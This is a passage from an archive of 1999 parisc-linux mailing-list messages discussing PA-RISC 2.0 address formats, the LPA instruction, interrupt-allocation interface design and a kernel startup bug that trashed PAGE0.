     most of the A180c, parts of 712 Gecko and 715 workstations
     and portions of 2.0 machines

Supported Hardware: 
     SCSI, Lan and PS/2 on Lasi I/O controller, Dino PCI
     Tulip ethernet

Project Page: 
     http://www.thepuffingroup.com/parisc/

Latest Workable Image:
     ftp://puffin.external.hp.com/pub/parisc/linux-2.2.13.gz

Running PA-RISC/Linux HOWTO:
     http://thepuffingroup.com/parisc/recipe.html






From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <jerry_huck@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/conf/machine header files
Date: Fri, 10 Dec 1999 17:35:47 -0800 (PST)
Lines: 91
Approved: news@gmane.org
Message-ID: <199912110135.RAA00727@lucy.cup.hp.com>
References: <19991209050634.D21512@mathe.stud.uni-erlangen.de>
Reply-To: huck@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618696 28970 80.91.229.3 (22 Nov 2014 01:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de
Original-X-From: huck@cup.hp.com  Fri Dec 10 18:33:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA02097
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Dec 1999 18:33:47 -0700
Original-Received: (qmail 32012 invoked by uid 15267); 11 Dec 1999 01:36:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32003 invoked from network); 11 Dec 1999 01:36:00 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 Dec 1999 01:36:00 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by atlrel1.hp.com (Postfix) with ESMTP id AEB09C9CF
	for <parisc-linux@thepuffingroup.com>; Fri, 10 Dec 1999 20:35:59 -0500 (EST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA00727; Fri, 10 Dec 1999 17:35:47 -0800 (PST)
In-Reply-To: <19991209050634.D21512@mathe.stud.uni-erlangen.de> from Philipp Rumpf at Dec "9," 1999 "05:06:34" am
X-Mailer: ELM [$Revision: 1.17.214.3 $]
Original-Sender: huck@cup.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:6597

> From parisc-linux-request@thepuffingroup.com Wed Dec  8 21:05:46 PST 1999
> Date: Thu, 9 Dec 1999 05:06:34 +0100
> From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
> To: Grant Grundler <grundler@cup.hp.com>
> Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
>         parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] /usr/conf/machine header files

> > > PA2.0 port:  64-bit virtual addresses are 42 bits per quadrant only and
> > > start at the smallest address in the quadrant - so unlike alpha where the
> > > addresses are "sign-extended".
> > Actually, HP-UX does sign extend I/O addresses. I'm not sure
> 
> That's physical addresses though, so we really don't care, do we ?

FYI,  More precisely, PA2.0 expects to be programmed with "F" extended
62-bit physical addresses.  The upper 2 bits are always ignored.  The
"F" extension is preserved in all processor resources independent of
the implemented addess space.  For example, a data reference to the
physical address 0x3FFF FFFF FFFF 0000 (PSW.d == 0) that took a TLB
miss would include the unimplemented bits in the ISR.

The one exception is the LPA instruction.  It is only defined to the
width of the implemented physical address space.  To convert that
address to a generic 64-bit pointer use:

    trialphysaddr = LPA(va);
    if( trailphysaddr == 0 ) /* do something else */
    physaddrwidth = PDC_MODEL.returnCPU_ID.ret[1] + 40;
    if( (trialphysaddr >> physaddrwidth) == 0xF) {
        /* need to F extend and decide what to put
           into the upper 2 bits */
        <...>
    } else
        physaddr = trialphysaddr;

The upper bits of the LPA result beyond the implemented boundary are
guaranteed to be zero.

All this discussion is only relevant to 2.0 processors running
the kernel in wide mode.

> > if this is a feature of HP-UX or something in the HW makes it
> > easier to do it this way...anyone know?

F extension reflects the architecture separation of I/O (uncached)
addresses from memory (cached) addresses.  The processor makes many
assumptions and address space is assigned to reflect this
architecture.  By allocating memory address space up from 0, and I/O
address space down from 0x3fff ffff ffff ffff, then all code is
independent of the implemented address space size.  I imagine other
approaches can do this but it works nicely for PA.

> > Secondly, don't make assumptions about how many bits are used in
> > a virtual or physical addresses unless it's processor specific code.
> > (eg TLB handler or trap handler or hpmc handler). I know the number
> > of physical bits supported by the processor is going to increase
> > from 40-bits (runway).
> 
> physical addresses you are right about;  we really should use an unsigned
> long for those and never expect them to be less than 64 bits in length.
> 
> virtual addresses, unfortunately, aren't as simple:  The 32 LSBs of the
> space identifier get ORed into the 32 MSBs of the virtual address, so we
                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
More precisely: "into the upper 30 bits of the offset".  The upper two
space select bits are not included in the global virtual address.

> are limited to 2+(62-virtual_address_bits_used) effective bits for space
> identifiers (on PA2.0 CPUs with 32 bit space registers).  As we want to
> use at least one space identifier per process, actually using only 42
> bits of the virtual address gives us 22 bits of space identifiers - or
> 1 M processes even if we use 4 space identifiers per process.

Yes, and this division between space bits and offset bits are
flexible.  You could define a large number (say 2^28) spaces for
objects that won't be greater than 2^32 bytes in size.  ie. All 32-bit
applications and the 64-bit application's text segments.  Allocate the
remainder of the spaces as you indicate.  Another possibility is
consider having one 2^60 sized space for the OS and all straight
forwardly shared objects.  You get the following assignment of for
32-bit wide space IDs:
   0000 0000:   one 2^60 byte in size object
   1xxx xxxx:   2^28 in count 2^32 byte in size objects
   2xxx x000:   2^16 in count 2^44-byte in size objects
   3xxx x000:   2^16 in count 2^44-byte in size objects
   ...

You get the idea.
Jerry


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/conf/machine header files
Date: Sat, 11 Dec 1999 14:51:07 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <19991211145107.C17836@mathe.stud.uni-erlangen.de>
References: <19991209050634.D21512@mathe.stud.uni-erlangen.de> <199912110135.RAA00727@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618696 28973 80.91.229.3 (22 Nov 2014 01:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: huck@cup.hp.com
Original-X-From: prumpf@abacus.uni-erlangen.de  Sat Dec 11 06:51:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA07325
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Dec 1999 06:51:35 -0700
Original-Received: (qmail 22294 invoked by uid 15267); 11 Dec 1999 13:53:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22282 invoked from network); 11 Dec 1999 13:53:49 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 11 Dec 1999 13:53:49 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 11 Dec 1999 14:53:45 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id OAA23574;
	Sat, 11 Dec 1999 14:52:07 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912110135.RAA00727@lucy.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6598

> FYI,  More precisely, PA2.0 expects to be programmed with "F" extended
> 62-bit physical addresses.  The upper 2 bits are always ignored.  The

The architecture documentation is quite explicit in that the 2 msbs get
ignored in the _virtual_ address offset generation only.  Actual CPUs
are quite likely to always ignore them, though.

> "F" extension is preserved in all processor resources independent of
> the implemented addess space.  For example, a data reference to the
> physical address 0x3FFF FFFF FFFF 0000 (PSW.d == 0) that took a TLB
> miss would include the unimplemented bits in the ISR.

How can you take a (Data, I assume) TLB miss with the PSW's D bit == 0 ?

> The one exception is the LPA instruction.  It is only defined to the
> width of the implemented physical address space.  To convert that
> address to a generic 64-bit pointer use:
> 
>     trialphysaddr = LPA(va);
>     if( trailphysaddr == 0 ) /* do something else */
>     physaddrwidth = PDC_MODEL.returnCPU_ID.ret[1] + 40;
>     if( (trialphysaddr >> physaddrwidth) == 0xF) {
>         /* need to F extend and decide what to put
>            into the upper 2 bits */
>         <...>
>     } else
>         physaddr = trialphysaddr;
> 
> The upper bits of the LPA result beyond the implemented boundary are
> guaranteed to be zero.

Why would we want to use LPA anyway ?

> > > if this is a feature of HP-UX or something in the HW makes it
> > > easier to do it this way...anyone know?
> 
> F extension reflects the architecture separation of I/O (uncached)
> addresses from memory (cached) addresses.  The processor makes many
> assumptions and address space is assigned to reflect this
> architecture.  By allocating memory address space up from 0, and I/O
> address space down from 0x3fff ffff ffff ffff, then all code is
> independent of the implemented address space size.  I imagine other
> approaches can do this but it works nicely for PA.

That's just not what the documentation says, and I propose we follow
it by simply using physical addresses 0xfXXX XXXX XXXX XXXX when
referring to IO space.

> > > Secondly, don't make assumptions about how many bits are used in
> > > a virtual or physical addresses unless it's processor specific code.
> > > (eg TLB handler or trap handler or hpmc handler). I know the number
> > > of physical bits supported by the processor is going to increase
> > > from 40-bits (runway).
> > 
> > physical addresses you are right about;  we really should use an unsigned
> > long for those and never expect them to be less than 64 bits in length.
> > 
> > virtual addresses, unfortunately, aren't as simple:  The 32 LSBs of the
> > space identifier get ORed into the 32 MSBs of the virtual address, so we
>                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> More precisely: "into the upper 30 bits of the offset".  The upper two
> space select bits are not included in the global virtual address.

Right, thanks for the clarification.

> objects that won't be greater than 2^32 bytes in size.  ie. All 32-bit
> applications and the 64-bit application's text segments.  Allocate the
> remainder of the spaces as you indicate.  Another possibility is
> consider having one 2^60 sized space for the OS and all straight
> forwardly shared objects.  You get the following assignment of for
> 32-bit wide space IDs:
>    0000 0000:   one 2^60 byte in size object
>    1xxx xxxx:   2^28 in count 2^32 byte in size objects
>    2xxx x000:   2^16 in count 2^44-byte in size objects
>    3xxx x000:   2^16 in count 2^44-byte in size objects
>    ...

Indeed I didn't think about having spaces of different sizes before, and
it definitely makes sense to have one 2^62 byte space to map physical
memory / I/O with.

	Philipp Rumpf


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] txn_alloc_irq() change
Date: Sat, 11 Dec 1999 14:33:11 +0100
Lines: 224
Approved: news@gmane.org
Message-ID: <19991211143311.B17836@mathe.stud.uni-erlangen.de>
References: <19991209055039.E21512@mathe.stud.uni-erlangen.de> <199912090700.XAA03556@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618697 28975 80.91.229.3 (22 Nov 2014 01:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Sat Dec 11 06:51:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA07384
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Dec 1999 06:51:38 -0700
Original-Received: (qmail 22322 invoked by uid 15267); 11 Dec 1999 13:53:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22315 invoked from network); 11 Dec 1999 13:53:51 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 11 Dec 1999 13:53:51 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 11 Dec 1999 14:53:48 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id OAA23137;
	Sat, 11 Dec 1999 14:34:12 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912090700.XAA03556@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6599

> Philipp,
> The *service* is not bus specific. The details (ie parameters) are.

Yes, I was wrong about that.  It really is not bus specific.

> Please seperate interfaces from implementations.
> You claimed early on you would do that.

And I don't see how having the interface be per-bus (to sort the details
out) and the implementation (for now) be trivial would violate that.

> Ok. I need to lookup and contact NCR/Symbios SCSI, ATM, and GigE
> driver authors and pester them one this topic.

Just as a matter of interest, which GigE chip are you talking about ?
I looked at the Alteon docs and that chip (which is the only one I
saw used in a parisc box so far) seems not to support TBIs (with the
standard firmware).  If you end up using non-standard firmware anyway,
it is quite likely you can support standard PCI 2.2 TBIs (if they are
defined).  Furthermore the typical interrupt load is quite low with
the current Linux driver.

For the SCSI chips I am pretty sure the interrupt load won't be worth
big hacks.

> > If you want to keep the function parisc-specific and not exported to drivers
> > (just to the bus-specific wrappers), it could be called "cca1a78e0" without
> > anyone getting too upset about it.
> 
> Really?
> As Alex would say: "I don't believe you".

The point I wanted to make is if the function is used in three places, all
of them parisc-specific, the name can be bad and nobody cares.  If it used
in lots of drivers in drivers/*, the name should be easy to remember and
the function should be abstracted.

> > > This is wrong. Symbios SCSI, ATM, and Gigabit Ethernet Drivers could
> > > all *directly* use this service. All of those devices are capable of
> > > mastering a "Message Signalled Interrupt" instead of yanking an IRQ line.
> > 
> > And why would the driver be concerned with it?

I was under the impression you used "Message Signalled Interrupt" to refer
to a standards-compliant mechanism.  Sorry.

> > I am not sure how PCI
> > TBIs work, but the way I would hope it works is the PCI bus initialization
> > code assigns address/data pairs to those devices that support TBIs and
> > puts the corresponding irq into the pci_dev structure.  That way, we're
> > down to one line of code that calls txn_alloc_irq.
> 
> I know how they work. 

> You need to do more homework before "hoping" much.

Erm, and how exactly would you go about it ?  I don't have the PCI standard,
I am paying for downloading hardware docs, the one I did look at (Acenic)
doesn't support TBIs.

What I hoped was the PCI designers made TBIs a standard feature which would
make it usable - they didn't, so far, so we're talking about device-specific
hacks here.

> And pci_dev structure only has room for the virtual IRQ. That may change
> for PCI 2.2 but I want to support PCI 2.1 compliant devices as well.

How many are there, really, and is it really worth it for all of them ?

> More importantly, not all PCI devices discovered can or will want
> to directly master their own interrupt transaction.  I.e. assigning
> CPU/EIR bits to every serial port card is a waste of resources.

This can be worked around with modules and reconfiguration.  Anyway let's
first run out of IRQs and then look at how we can avoid it.

> > For those PCI devices that don't use the standard configuration mechanism
> > to do TBIs, if they should turn out to be worth it, you would have to do
> > stuff in the actual device driver, but I don't think there are many devices
> > to which this applies.

> There is no "standard configuration mechanism" for TBI's.
> Not until PCI 2.2 becomes more prevalent. SCSI, ATM, and GiGE
> PCI devices I'm aware are only PCI 2.1 compliant today.

So all we can do today is brute hacks.

> You have it backwards: the PCI device driver needs to query the
> platform if it supports TXN services and then program the HW accordingly.

So it really doesn't fit into any decent bus scheme.  I think an important
point about well-designed busses is resource allocation isn't handled by
the device driver but by the bus driver.  I hope PCI will allow the way
interrupts are delivered to be changed as transparently to the device
driver as right now the IRQ number is.

> PCI 2.2 only defines how the driver can communicate the devices ability
> to master "Message Signalled Interrupts". It doesn't (and shouldn't) say
> anything about how the OS interrupt support interacts with the device
> driver.

The "doesn't" part I don't know about, and we'll see whether the PCI designers
were indeed stupid enough to require the device driver to handle resource
allocation.

The "shouldn't" part I disagree with.

> > The public Linux/PA-RISC tree is PA1.1 only right now, and I dare say we

PA 2.0 in narrow mode as well.  We don't have more than 32 usable EIMs
for that case though.

> > don't care about systems with more than 31 IRQ-generating devices.
> 
> Alex: Can you address this?
> 
> I can't speak for The Puffin Group. But inside HP, I, and the people
> who pay my salary are very interested in PA 2.0 boxes which can have
> more than 31 IRQs.

We're not talking about boxes that have hardware support for > 32 IRQs.

We're talking about boxes which actually _have to use_ more than 32 EIR
bits.  For example, the A class uses 3 EIR bits in the configuration I
have here (Lasi, Dino, Interval Timer).  The 712 might use 2 or 3 (I
am not sure whether ARTIST generates IRQs).  The 715 uses 2 or 3 (I
don't know about the graphics).

According to HP's product brochure, the V2500 supports 24 PCI I/O cards,
which would leave 6 (we need one for IPIs and one for the interval timer)
EIR bits for internal devices.

Which boxes are _you_ talking about ?

> Most people first ask does parisc-linux run on
> <something-with-PA20>-class. So despite the official charter,
> PA 2.0 is happening on/with the same tree because of interest.

Note, again, that restricting ourselves to 32 EIR bits does not mean we won't
support boxes that supply 64 EIR bits in hardware.

> > I don't know about the IA64 tree and any non-public Linux/PA-RISC trees,
> > but it was my impression those have their own mailing-lists and changes
> > to them need not be discussed here.
> I disgree.  This is an inclusive forum. If people want to work
> on support an 827s or T600s, they are welcome to do it. It's my
> choice to decline to help (and I definitely will not help). 

Sure.  If people want to support an actually existing machine that needs to
use more than 31 EIR bits, they are welcome.

> > > The current interface only works for a subset of all parisc platforms.
> > Yeah, the subset with <= 31 devices.
> I'm trying to get past that limitation.

Is it a limitation ?  Are there actually machines out there which need more
than 31 EIR bits ?  Do these machines look at all like it is high-priority
to support them under linux/parisc ?

> > How ?
> > 
> > All the allocation is handled in txn_alloc_irq - it returns a virtual irq
> > that can be resolved to an address/data pair lateron.  If we want to allocate
> > data (eg the eim bit index right now), it's done in txn_alloc_irq.  If we
> > want to allocate addresses (eg the future txn_alloc_irq returning the right
> > CPU's EIR), we do it in txn_alloc_irq.
> 
> Here's an example: Change the interface to allow the driver to call
> txn_alloc_addr() to get a *different* CPU - same virtual IRQ.  And
> ditto for txn_alloc_data(). Then txn_alloc_irq() would only
> be used to hand out "handles" (ie Virtual IRQs).

That example just doesn't make sense to me.  If the driver wants to
switch to another IRQ, it has to call txn_alloc_irq() anyway - you
can't assume the implementation lets you keep a virtual IRQ (which
very well might not be virtual at all, but the actual HW IRQ) even
though you reallocate the address/data.

I still can't think of any situation in which it would make sense to
do call only one or two of the txn_alloc_* functions.

As for actually doing allocating in txn_alloc_{data,addr}, that would
require drivers to get even more complex in their initialization as
they now need to handle txn_alloc_addr failing and txn_alloc_irq
succeeding.

Is there a single case where it would make sense for an implementation
to do allocation in txn_alloc_{data,addr} ?

Also, consider the case where you want to get an IRQ on a certain CPU.
Do you want to pass the CPU number to _all_ of the txn_alloc_* functions ?

If so, why ?

> Why would a driver want to do that? Because some outside module
> is smarter, knows more about the resources available, and told the
> device driver to make the request and reprogram it's HW.

It can change its virtual irq as well, and actually has to be to be
independent of implementation details.

> > Actually, what you should think about is merging the three functions -
> > virtual irq, transaction address and transaction data don't make sense on
> > their own, so you almost always end up doing
> > 
> > 	tmp1 = txn_alloc_irq(...);
> > 	tmp2 = txn_alloc_addr(irq);
> > 	tmp3 = txn_alloc_data(irq);
> > 
> > which seems unnecessarily verbose.
> 
> See above example.

You would still need to call all functions.

> IMHO, the three functions interface is more flexible and matches

It isn't.  If you change anything about your IRQ, you have to call
all three functions again (as an implementation _might_ be like the
current implementation which doesn't have arbitrary virtual IRQ <->
physical IRQ relations).

	Philipp


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Sun, 12 Dec 1999 12:54:56 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <199912121754.MAA01874@hiauly1.hia.nrc.ca>
References: <19991209010821.87E9318708@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618697 28976 80.91.229.3 (22 Nov 2014 01:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:37 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com,
        lamont@security.hp.com
To: lamont@security.hp.com (LaMont Jones)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Dec 12 10:56:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA17155
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Dec 1999 10:56:52 -0700
Original-Received: (qmail 15463 invoked by uid 15267); 12 Dec 1999 17:59:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15451 invoked from network); 12 Dec 1999 17:59:03 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 12 Dec 1999 17:59:03 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA01874;
	Sun, 12 Dec 1999 12:54:56 -0500 (EST)
In-Reply-To: <19991209010821.87E9318708@security.hp.com> from "LaMont Jones" at Dec 8, 99 06:08:20 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6600

> 
> > That happens pretty frequently to me but I've not tracked down why
> > it happens.  Did you try holding the TOC button in for several seconds?
> > On some workstations I've been told that generates a hard reset.
> 
> TOC results in (providing that the checksum passes) transfer of control
> to a routine pointed at from page 0.  If something is trashing that, and
> the checksum'ed length is set to 0, then you'll branch off into the ozone.
> 
> If the checksum fails, then you get the PDC default of rebooting.
> 
> Don't know if that's your problem, but it's probably worth checking into
> whether something is trashing physical address 8 (TOC vector - 0xc is the
> length of the checksum.)

I believe that I have located the cause of the problem.  The real mode
code in the kernel startup used the stack pointer passed from the system
loader.  The initial stack pointer passed by the hpux loader is 0.
This caused some items in PAGE0 to be trashed, although it is not clear
that the TOC vector itself was being trashed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <jerry_huck@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/conf/machine header files
Date: Tue, 14 Dec 1999 13:43:59 -0800 (PST)
Lines: 116
Approved: news@gmane.org
Message-ID: <199912142144.NAA22222@lucy.cup.hp.com>
References: <19991211145107.C17836@mathe.stud.uni-erlangen.de>
Reply-To: huck@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618697 28981 80.91.229.3 (22 Nov 2014 01:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de
Original-X-From: huck@cup.hp.com  Tue Dec 14 14:41:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA01894
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Dec 1999 14:41:55 -0700
Original-Received: (qmail 24208 invoked by uid 15267); 14 Dec 1999 21:44:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24190 invoked from network); 14 Dec 1999 21:44:13 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 14 Dec 1999 21:44:13 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel1.hp.com (Postfix) with ESMTP id DF980416
	for <parisc-linux@thepuffingroup.com>; Tue, 14 Dec 1999 13:44:12 -0800 (PST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA22222; Tue, 14 Dec 1999 13:44:00 -0800 (PST)
In-Reply-To: <19991211145107.C17836@mathe.stud.uni-erlangen.de> from Philipp Rumpf at Dec "11," 1999 "02:51:07" pm
X-Mailer: ELM [$Revision: 1.17.214.3 $]
Original-Sender: huck@cup.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:6601

> Date: Sat, 11 Dec 1999 14:51:07 +0100
> From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
> To: huck@cup.hp.com
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] /usr/conf/machine header files

> > FYI,  More precisely, PA2.0 expects to be programmed with "F" extended
> > 62-bit physical addresses.  The upper 2 bits are always ignored.  The
           ^^^^^^^^ should be "absolute"

> The architecture documentation is quite explicit in that the 2 msbs get
> ignored in the _virtual_ address offset generation only.  Actual CPUs
> are quite likely to always ignore them, though.

My statement was wrong.  I forgot about our subtle distinction between
absolute and physical addresses and the contradictions in the 2.0 book.

Readers can skip the remainder of this note if your not interested in
address definitions.

The 1.x books made physical and absolute addresses equivalent.  The 2.0
architecture made a significant distinction between absolute and physical
addresses but did not properly document the difference.

Page 3-1, section "Physical and Absolute addressing", correctly defines
the two terms.  Basically, an absolute address is only 62-bits in
width and the upper 2 bits must be ignored.  Physical addresses are 64-bits
wide.  Page H-10 correctly describes the mapping between the two addresses.

The address you form for data or instruction addresses when PSR.D or
PSR.C (respectively) is zero is an ABSOLUTE address.  The LDWA and
STWA instructions specify an ABSOLUTE address.  This is consistently
correct in the book.

Inconsistently specified is the output of the TLB.  TLBs translate
virtual addresses to PHYSICAL addresses (full 64-bits).  This is
incorrect in many places.

Also, the discussion on page 3-8 on "Absolute Addresses" is confusing
since the upper 2 bits of the "offset" (a 64-bit quantity) is ignored
and all the memory vs. I/O distinction is done using the upper 4 bits
of the 62-bit absolute address.

So, you can still count on the interesting equivalent mapping that
is possible between absolute addresses and virtual addresses.

> > "F" extension is preserved in all processor resources independent of
> > the implemented addess space.  For example, a data reference to the
> > physical address 0x3FFF FFFF FFFF 0000 (PSW.d == 0) that took a TLB
> > miss would include the unimplemented bits in the ISR.
> 
> How can you take a (Data, I assume) TLB miss with the PSW's D bit == 0 ?

My mistake - bad example and incorrect terminology.  How about:

For example, a data reference to the absolute address 
0x3FFF FFFF FFFF 0000 (PSW.d == 0) that took an "assist emulation trap"
would include the unimplemented bits in the ISR.

> > The one exception is the LPA instruction.  It is only defined to the
> > width of the implemented physical address space.  To convert that
> > address to a generic 64-bit pointer use:
> > 
> >     trialphysaddr = LPA(va);
> >     if( trailphysaddr == 0 ) /* do something else */
> >     physaddrwidth = PDC_MODEL.returnCPU_ID.ret[1] + 40;
> >     if( (trialphysaddr >> physaddrwidth) == 0xF) {
> >         /* need to F extend and decide what to put
> >            into the upper 2 bits */
> >         <...>
> >     } else
> >         physaddr = trialphysaddr;
> > 
> > The upper bits of the LPA result beyond the implemented boundary are
> > guaranteed to be zero.
> 
> Why would we want to use LPA anyway ?

I don't know how Linux works, but it is a fast way to get the physical
address for DMA (say out of a virtually mapped buffer pool).  We have
used physically indexed tables that low-level handlers can quickly
pick up some information for fault handling (say some kind of page
promotion information or other things that don't fit in the TLB
entry).
> 
> > > > if this is a feature of HP-UX or something in the HW makes it
> > > > easier to do it this way...anyone know?
> > 
> > F extension reflects the architecture separation of I/O (uncached)
> > addresses from memory (cached) addresses.  The processor makes many
> > assumptions and address space is assigned to reflect this
> > architecture.  By allocating memory address space up from 0, and I/O
> > address space down from 0x3fff ffff ffff ffff, then all code is
> > independent of the implemented address space size.  I imagine other
> > approaches can do this but it works nicely for PA.
> 
> That's just not what the documentation says, and I propose we follow
> it by simply using physical addresses 0xfXXX XXXX XXXX XXXX when
> referring to IO space.

The documentation is a little inconsistent.  I was referring to
absolute addresses.  Depending on how you want to manage the possible
equivalent mappings, those upper 2 bits of absolute addresses will get
set to some interesting values.  Addresses used by I/O devices are
physical addresses and will definitely start with 0xF.

Jerry

...stuff deleted...

> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
